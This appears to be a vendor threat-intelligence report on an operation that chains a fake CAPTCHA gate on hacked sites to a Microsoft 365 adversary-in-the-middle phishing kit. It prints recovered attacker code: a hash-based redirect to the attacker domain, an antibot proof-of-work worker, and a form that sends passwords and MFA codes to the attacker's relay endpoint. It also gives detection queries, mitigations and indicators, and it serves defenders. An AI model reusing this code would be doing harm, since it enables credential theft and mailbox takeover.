Executive summary

Barricade is tracking an active credential-theft operation we designate
BRG-26182. It wears the costume of the "ClickFix" fake-CAPTCHA pages that
have flooded the web in 2026, but it does something different and more dangerous. Instead
of tricking a user into pasting a command that installs malware, it uses a fake
human-verification page purely as a gate. Pass the gate and you are silently funneled into
an Adversary-in-the-Middle (AiTM) phishing kit that steals your Microsoft 365 login and the
session cookie that comes with it.

The operation is built from two separate kits chained together. The front door is a
lightweight "SecureAccess" Cloudflare-Turnstile gate dropped onto compromised legitimate
websites. It hands the victim off to a hardened phishing platform on its own
infrastructure, which runs an anti-analysis wall, a fake Adobe document lure, and a
pixel-perfect fake Microsoft 365 login that relays every credential and MFA prompt to real
Microsoft in real time. The result is a stolen, fully-authenticated session, achieved
without dropping a single file on the endpoint.

This report walks the entire chain end to end, with the attacker's own code, so your
team can detect it, prove it, and shut it down.

The lure: a fake human-check that redirects instead of dropping malware

Most ClickFix kits we track show a fake Cloudflare check and then tell the visitor to
press Windows+R and paste a command, which self-installs an information stealer. BRG-26182
reuses the familiar look but removes the command entirely.

Stage 1: the SecureAccess redirect gate (Kit A)

The gate is a single self-contained page dropped at a random deep path on a hacked site
(for example /wuiin/ididao/). It embeds a genuine Cloudflare Turnstile widget,
so it looks legitimate and stops sandboxes that cannot solve the challenge. Once a real
human passes, a "Continue" button appears and its click handler does the real work. It
reads a base64 blob from the URL hash, decodes it, and redirects to the second kit. The
destination is never in the page or the visible link, so pre-delivery scanners cannot
extract it.

// Kit A: the destination is carried in the URL hash, base64-encoded,
// behind a per-campaign marker. Nothing malicious is visible until after the click.
function getHashParameter() {
  const hash = window.location.href.split('#')[1] || '';
  if (hash.includes('10a3c4f9j2e6d5a1c8f3b=')) {
    return hash.split('10a3c4f9j2e6d5a1c8f3b=')[1];    // per-victim token
  }
  return hash;
}
const decodedParam = atob(getHashParameter());          // base64 decode
const redirectUrl =
  "https://solutiondeluxeplasticsnetworks.donnlmrelleyfinancial.vu/$" + decodedParam;
window.location.replace(redirectUrl);                   // hand off to Kit B

Stage 2: the anti-analysis wall (Kit B)

The destination host mints a fresh, per-visit URL and presents an "auth · layer"
verification screen. This is a commercial-grade antibot cloaker whose only job is to make
sure a real human, not a researcher or a sandbox, reaches the phishing page. It runs a
SHA-256 proof-of-work in a Web Worker, watches for genuine mouse movement, and validates a
token bound to the visitor's IP and user-agent. Barricade recovered and de-obfuscated the
worker; the fingerprint token decodes to hashed IP and user-agent values with an
expiry:

// Kit B antibot: IP/UA-bound session token (decoded from the page)
{
  "ip":  "236fb946557b271893ce8f39188aea859093b9fb68f5a34c988baf8af9a1ca7b",  // SHA-256 of visitor IP
  "ua":  "fab4c792f235db3d952a04808cd4a4c13f3eb7748279c2a235b1982111aab0c8",  // SHA-256 of user-agent
  "exp": 1783786334,
  "img": 3
}

// Proof-of-work worker (XOR-deobfuscated): hash until the result clears a target
self.onmessage = async function (e) {
  var seed = e.data.seed, target = e.data.target, rounds = e.data.rounds, n = e.data.start;
  while (true) {
    var buf = await crypto.subtle.digest("SHA-256", enc.encode(seed + n));
    for (var r = 0; r < rounds; r++) buf = await crypto.subtle.digest("SHA-256", buf);
    if (new DataView(buf).getUint32(0) < target) { postMessage({ n: n }); return; }
    n += e.data.step;
  }
};

This wall is why ordinary web scanners see nothing. It also carries a tell for
defenders: the page identifies itself with <meta name="generator" content="CMS
22.3.1"> and the magic strings 0a997762 and ae578b70.

The payload: Microsoft 365 Adversary-in-the-Middle

Stage 3: the fake Adobe document lure (Kit B)

Once a visitor clears the antibot wall, the kit serves a convincing fake Adobe
"shared document" page (paths follow the pattern /ClOd-FoLdEr-… and
/DoCs-DoWnLoAd-…). It asks the victim to sign in with Microsoft to view the
file. The button label is deliberately letter-spaced in the HTML to dodge text matching.

Stage 4: the fake Microsoft 365 login and live MFA relay (Kit B)

Clicking through lands the victim on a pixel-perfect fake Microsoft 365 login titled
"Connect your account." This is the Adversary-in-the-Middle core. The form harvests the
username, password, and MFA code, and the server relays each value to real Microsoft as the
victim types, forwarding whatever prompt Microsoft returns:

<!-- Kit B: fake "Connect your account" Microsoft 365 form -->
<form method="POST" action="https://…donnlmrelleyfinancial.vu/DoCs-DoWnLoAd-…">
  <input name="uname" type="text">      <!-- victim email      -->
  <input name="pass"  type="password">  <!-- victim password   -->
  <input name="code"  type="text">      <!-- MFA / OTP code     -->
</form>

// entries are relayed to real Microsoft in real time via:
POST https://…donnlmrelleyfinancial.vu/ntd4cl486fz9

Why MFA does not stop it

Because the kit proxies the login to Microsoft live, it handles every modern MFA method
we tested: text-message codes, Microsoft Authenticator number-matching, and security-key
prompts. It even displays the victim's real, partially-masked phone number, which it can
only obtain by relaying to Microsoft. The instant the victim approves, the attacker
captures the resulting session cookie, the token that proves the account
is authenticated, and can access the mailbox without ever needing the password or MFA
again.

The attack chain, end to end

Victim clicks a link (poisoned ad, search result, or shared "document")
            |
            v
  Kit A gate on a HACKED site   e.g. rripl.org/wuiin/ididao/
  "SecureAccess" Cloudflare Turnstile check   (filters out scanners/sandboxes)
            |   base64 destination carried in the URL hash
            v
  redirect  ->  donnlmrelleyfinancial.vu/

lt;decoded> (Kit B) | v "auth . layer" ANTIBOT SHA-256 proof-of-work + real-mouse + IP/UA token | (only a real human passes; researchers and sandboxes are stopped) v fake ADOBE "shared document" -> "Sign in with Microsoft" | v fake MICROSOFT 365 login (AiTM) | relays email + password + MFA code to real Microsoft | in real time (POST /ntd4cl486fz9) v attacker captures the post-MFA SESSION COOKIE -> full mailbox takeover | v reads/sends mail, plants hidden forwarding rules, BEC and invoice fraud

Two kits, two hands

The gate and the phishing platform are built differently and sit on different
infrastructure, joined only by the base64 token in the redirect. The throwaway gate is
cheap and easy to replace, and it hides the valuable AiTM backend behind it. Barricade
tracks the operator of that Microsoft 365 backend as BRG-26182, a
"Barricade Rogue Group" designation we assign to an actor we cannot yet tie to a named,
publicly known group. Whether the SecureAccess gate is run by BRG-26182 or by a separate
access broker it buys traffic from is still an open question.

MITRE ATT&CK mapping

Tactic	Technique	How BRG-26182 uses it
Resource Development	T1584 — Compromise Infrastructure	Hijacked legitimate websites host the Kit A gate
Initial Access	T1566.002 — Phishing: Spearphishing Link	Link to the fake human-verification gate
Execution	T1204.001 — User Execution: Malicious Link	Victim clicks through the gate and the Adobe lure
Defense Evasion	T1497 — Virtualization/Sandbox Evasion	Turnstile gate + proof-of-work antibot filter out automation
Defense Evasion	T1027 — Obfuscated Files or Information	XOR-obfuscated antibot worker; letter-spaced lure text
Credential Access	T1557 — Adversary-in-the-Middle	Fake M365 login proxies credentials to real Microsoft
Credential Access	T1111 — Multi-Factor Authentication Interception	Captures and relays the MFA code / Authenticator approval
Credential Access	T1539 — Steal Web Session Cookie	Captures the post-MFA session cookie
Collection	T1114 — Email Collection	Post-takeover mailbox access, forwarding rules, BEC

Detection and hunting guidance

Because BRG-26182 drops no file on the endpoint, the strongest signals are on the
identity side, in Microsoft 365 / Entra ID.

• Non-interactive or anomalous sign-ins from a new ASN or country shortly
  after a user reported a "verification" page. AiTM session replay often shows an
  impossible-travel pattern between the victim and the attacker.
• New inbox / mail-forwarding rules, especially rules that delete or
  forward messages containing words like "invoice," "payment," or "security." Alert on rule
  creation events (New-InboxRule, Set-InboxRule).
• Session cookie reuse from a second device or IP. Hunt sign-in logs for
  the same session or refresh token used from two locations.
• Web/proxy logs for the indicators below, and for the two-hop pattern of
  a compromised site redirecting to a .vu (or other throwaway) host that then
  serves a per-visit random path.

A starting KQL hunt for suspicious inbox-rule creation in Microsoft 365:

CloudAppEvents
| where ActionType in ("New-InboxRule", "Set-InboxRule")
| where RawEventData has_any ("ForwardTo", "DeleteMessage", "RedirectTo")
| project Timestamp, AccountDisplayName, IPAddress, ActionType, RawEventData

Recommendations

1. Deploy phishing-resistant MFA (FIDO2 security keys or passkeys) for
   administrators and high-value accounts. AiTM relay cannot replay a hardware-bound
   credential.
2. Enforce Conditional Access with device compliance so a stolen cookie
   from an unmanaged device is rejected, and shorten sign-in session lifetimes.
3. Enable token protection / continuous access evaluation to invalidate
   sessions on risk signals.
4. Educate users on the one rule that beats it: no legitimate service
   routes a "human verification" into a Microsoft login you did not start. If a check
   redirects you to a sign-in, stop and go to the service directly.
5. Harden your own website (patch the CMS, rotate admin credentials, watch
   for unexpected new pages) so it cannot be conscripted as a Kit A gate.

Indicators of Compromise (IOCs)

The indicators Barricade recovered from this BRG-26182 activity are below, grouped by
type. They rotate quickly, so pair them with the behavioral detection above.

Type	Indicator	Context
Domain	donnlmrelleyfinancial.vu	Kit B AiTM platform (antibot, fake Adobe, fake M365)
Domain	rripl.org	Compromised carrier hosting the Kit A gate (victim site)
IP	188.114.96.3	Cloudflare-fronted origin of the AiTM host
URL	https://rripl.org/wuiin/ididao/	Kit A redirect gate (random deep paths)
URL	POST /ntd4cl486fz9	Kit B live credential / MFA relay endpoint
URL path	/ClOd-FoLdEr-…, /DoCs-DoWnLoAd-…	Kit B fake Adobe lure paths
Turnstile sitekey	0x4AAAAAADvlOI2h85Yh1xGg	Attacker's fake human-check widget (Kit A)
URL-hash delimiter	10a3c4f9j2e6d5a1c8f3b=	Base64 destination marker in the gate redirect (Kit A)
Fingerprint	"auth · layer"; CMS 22.3.1; 0a997762 / ae578b70	Kit B proof-of-work antibot cloaker
SHA-256	fa4e916fdbb09839015a6f1749c1a56ccfcc1529513331aefa84fd05a7d48ebb	SecureAccess gate page (Kit A)
SHA-256	1af7546de20de84a3f4b4eb79e2c5ec156201a1f01a82ce3db4b6a63b6af166c	auth · layer antibot page (Kit B)
SHA-256	862107fb81997e2d031f8a579c91a67c12f4d97f385c040bebc49de1fbc5249d	Fake Adobe page (Kit B)
SHA-256	8031a45860559c16ebcb621070a0fe317f5ab1fe2015e24958534f1005fac26f	Fake Microsoft 365 login page (Kit B)